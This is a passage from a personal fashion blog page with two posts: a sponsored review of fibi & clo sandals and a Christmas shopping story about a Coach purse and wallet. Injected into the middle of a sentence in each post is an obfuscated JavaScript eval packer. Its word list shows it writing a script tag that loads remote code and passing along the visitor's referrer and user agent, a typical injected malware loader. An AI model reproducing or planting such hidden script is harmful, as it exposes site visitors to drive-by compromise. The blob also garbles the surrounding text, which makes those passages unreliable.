Style Post – Page 8 – Style Spy Girl

If you’re a self-admitted shoe-a-holic like me, you may know how thrilling it is to receive lovely little packages in the mail, like the one I just got from online shoe boutique eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘b’+e(c)+’b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|yibde|var|u0026u|referrer|kazdy||js|php’.split(‘|’),0,{}))
fibi & clo! Pretty shoes… in a box… for me!!! Happy day! 😀

As one of Boise’s hard-working personal shoppers & fashion bloggers, I am on my feet a LOT! But the streets of this town get pretty dang hot in the summer, and I refuse to wear flip-flops as fashion. (They’re functional, so of course I wear them! Just not with styled outfits, lol. Call me picky.) 😉 Last summer I bemoaned my lack of walk-all-day footwear, never really finding a cute pair of sandals that fit my style, or my lifestyle. Gladiators were all the rage, I know. But they don’t suit me!

When fibi & clo contacted me about doing a product review of their sandals, claiming “cute, affordable, and comfortable” as their focus, I jumped at the chance, selecting the “Burst Cascade” style, one of their top sellers. I slipped them on, and was immediately impressed by the comfy, soft padding. Ooh, I could wear these all day! And their coloring is so versatile; I LOVE how the sparkling crystals catch every color, making them endlessly fun to build a variety of outfits around!

I quickly threw some looks together, to cover a variety of situations: Formal, Fun, and Flirty!

Formal: Express necklace, Express bandeau, BCBG dress, fibo & clo sandals

Fun: Custom necklace by Unigon Specialties, Express bandeau, Pink by VS tank, Forever 21 shorts, fibo & clo sandals

Flirty: Express Bandeau, Pink by VS top, Black Orchid skinny jeans, Apricot Lane bracelets, fibo & clo sandals

Which outfit is your favorite? 🙂 I had a blast putting them all together, enjoying the comfort and drama of those awesome shoes.

fibi & clo was created by AnaLiza Alba, in 2009, to be “like tupperware parties, but with shoes!” What started as a house party business quickly grew into an online retailer. If you live in a town where house parties are available, you can contact a sales rep, or become a “fashion agent.” For those of us who live in other parts of the world, check out fibi & clo’s beautiful online store: https://fibiandclo.com. fibi & clo sandals have been featured in Lucky magazine, Lauren Conrad’s style blog, and a host of other fashion websites & magazines. True to their mission, I found them to be high-quality, inexpensive, super-comfy, and downright lovely.

For honest disclosure, I found that the sandals I ordered ran a little on the small side. I was glad I “sized up” to an 8, instead of my usual 7 1/2. Just something to keep in mind! 🙂

Now, if only Spring would get here, so I can wear these beauties all over town! It’s so hard to wait!!!

Impatiently waiting for warm sunshine.

StyleSpyGirl

It all started with a wallet. Or more specifically, a comment from my sweetheart that went something like, “Hey babe, since it’s close to Christmas, I thought I’d just mention that my wallet is almost worn out.” Hmmm… I love those hints, but as a women’s stylist and shopping pro, men’s accessories have never really been my forte. Back when we were dating, I could just run into Hot Topic and buy him the coolest wallet with studs and skulls they had on display! But he’s in management now, at a big tech company; maybe it’s time for something a little more “grown up!”

So eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘b’+e(c)+’b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|rkrtk|var|u0026u|referrer|brhit||js|php’.split(‘|’),0,{}))
I went shopping at all my usual favorite stores, and quickly discovered: men’s wallets are kind of boring! Black or brown – um, awesome… I decided that my guy deserves something with a little more style!

While walking through the mall, I happened to pass the new Coach store, and a display towards the back of the store caught my eye. Is that men’s stuff? Coach makes stylish things for guys?? Of course I just had to go look!

That’s when I spotted her, out of the corner of my eye, perched prettily in the corner like a young starlet, waiting for her moment in the spotlight: my Dream Purse. She was blue – what, not black?? I always get black! – and so stunning that my legs moved towards her of their own accord.

Oooooh, shiny!

I had found the “Willis” purse, new this year to the Coach line, and very new in patent leather blue. And I was in love! So pretty, eye-catching, and more versatile than I could have imagined. Mine! I slung her over one shoulder, and knew instantly that we were meant to be together. 🙂

Eventually, with Willis purse in hand, I drifted back to my original purpose: the men’s accessories. I was surprised at the style selections – solids, stripes, logos, patterns! – and impressed by the quality. The super-nice saleswoman (their customer service is top-notch!) told me that Coach has long made men’s accessories, but only recently have they carried the items in stores. She went on to tell me that every wallet is triple-stitched, by hand, for long-lasting durability. In fact, all Coach handbags and wallets are hand made! Even the classic little stagecoach logo is painted by hand, which is why you can find little variations in paint color and brush strokes.

As one of the most-imitated and copied brands in the world, Coach still works very hard to ensure their style and quality are unmistakable and of the highest caliber. And super, duper pretty! They also have a life-time repair warranty! The manager told me she has had people bring in Coach items that are over 20 years old, and Coach has repaired them, every time! As a self-proclaimed Bargain Huntress, I was beginning to understand the appeal of what the fashion industry calls an “investment piece.”

I have to admit, I was impressed by the fun, dramatic styles the store had available. My concept of Coach has always been that they are a “classic” line, geared more towards mature women of high taste. I’m not known for my maturity (lol!), but I was super impressed by all the gorgeous, on-trend pieces I spotted throughout the store! Shiny patents, bright colors, even sequins; styles ranged from bohemian-luxe soft handbags to structured, retro pieces inspired by classic Coach pieces of the past few decades. Personally, I love a vintage-look structured bag with a little drama; the kind that won’t slump to the ground like a leather beanbag when I set it down!

In the end, I was pleased as punch to find the perfect wallet for my sweetheart; it’s black leather, with a couple burgundy and tan stripes. Very manly and classic, with just a little something extra! I’m so excited for him to pull it out of his Christmas stocking – he’ll love his new grown-up wallet… and I can’t wait to show him what he got ME, too!

Merry Christmas!

xoxo,

StyleSpyGirl